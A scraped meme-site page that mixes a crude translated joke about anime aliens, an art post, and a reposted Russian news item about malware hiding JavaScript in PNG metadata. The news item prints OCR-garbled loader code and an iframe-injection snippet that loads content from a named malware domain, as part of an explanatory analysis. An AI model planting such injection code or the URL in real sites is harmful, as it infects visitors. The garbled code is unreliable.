/ смешные картинки, мемы и приколы на SafeReactor

Перевод.
Commissar-Kun:
-Я сейчас смотрю аниме Blue Gender.
Какого черта все пришельцы имеют гигантские вагины вместо ртов?
В комплекте с комично огромным клитором?
Anonymous:
- Что может быть более чужое, чем вагина для фана аниме?

KB. 640*482. ohmy.jpg)
T %t Commissar Kun uNEmgZBQBoG3/13/lO(Sat)14 39 No 32099149 I am currently watching blue gender Why the fuck do the aliens have gigantic vaginas for mouths? j| Complete with comically oversized clitoris?
T Anonymous 03/13/10(Sat)14:39 No 320991590 What is more alien to an

Загадочник

jpegPNG

Daanya

слава роботамсделал самрисованиеPNGпесочница

Не судите строго, я не художник...

есть ещё speed art:

,слава роботам,сделал сам,нарисовал сам, сфоткал сам, написал сам, придумал сам, перевел сам,рисование,PNG,песочница

greengo

Вирусы и ТрояныPNGпесочница

Исследователи обнаружили относительно новый способ распространения вредоносного ПО, который полагается на считывание javascript кода, сохранённого в метаданных PNG файлов для запуска iFrame инъекций.

1 function loadPNGData(strFilename, fncCallback) {
2 var bCanvas = false;
3 var oCanvas = document.createElement("canvas");
4 1' (oCanvas.getContext) {
5 var oCtx = oCanvas.getContext("2d");
6 i~ (oCtx.getlmageData) {
7 bCanvas = true;
8 >
9 >
10 if (bCanvas) {
11 var olmg = new ImageO;

Данный конкретный iFrame, код которого вы можете видеть на картинке, обращается к простому javascript файлу, jquery.js, который загружает PNG файл dron.png Это обычный файл изображения, однако здесь в javascript содержится переменная strData, которая и является сутью этой атаки.

iFrame позволяет метаданным этой картинки спокойно делать свою грязную работу, помещая её за пределы нормальной видимой зоны браузера – полностью за пределы экрана (-10000 пикселей). И хотя пользователи не могут видеть этот iFrame, его видит браузер — а заодно и Google, что может создать необходимые условия для атаки.

varelm = document. createElement('iframe');
elm.style.position = 'absolute';
elm.style.left = '-1000px';
elm.style.top = '-1000px';
elm.width = '468';
elm.height = '60';
elm.src = 'http://bestbinfo.com/infogob.php?i=26388'; document.body.appendChild(elm);,Вирусы и Трояны,PNG,песочница

Адрес загрузки мелвера можно видеть на этой приведённой картинке в секции elm.src Это подозрительный российский сайт, который по данным Google, содержит два трояна, и уже заразил более 1000 доменов за последние 90 дней.

Такой подход не нов, и уже использовался хакерами прежде, но данный случай является самым продуманным примером использования этого вектора атаки.

«Большинство современных сканеров не смогут декодировать метаданные этой картинки, они остановятся на загруженном javascript, но не пойдут по цепочке cookie», говорит эксперт по компьютерной безопасности из компании Securi Питер Грамантик.

Стеганография, наука о сокрытии сообщений — например, в картинках и медиафайлах, прежде уже применялась в некоторых серьёзных атаках прошлых лет. Люди, стоящие за кампанией MiniDuke в 2013 году использовали её для сокрытия кастомизированного бэкдор-кода, а группировка Shady Rat использовала внедрение зашифрованных HTML-команд в изображения для сокрытия следов своей деятельности в 2011-м.

Источник: gearmix.ru.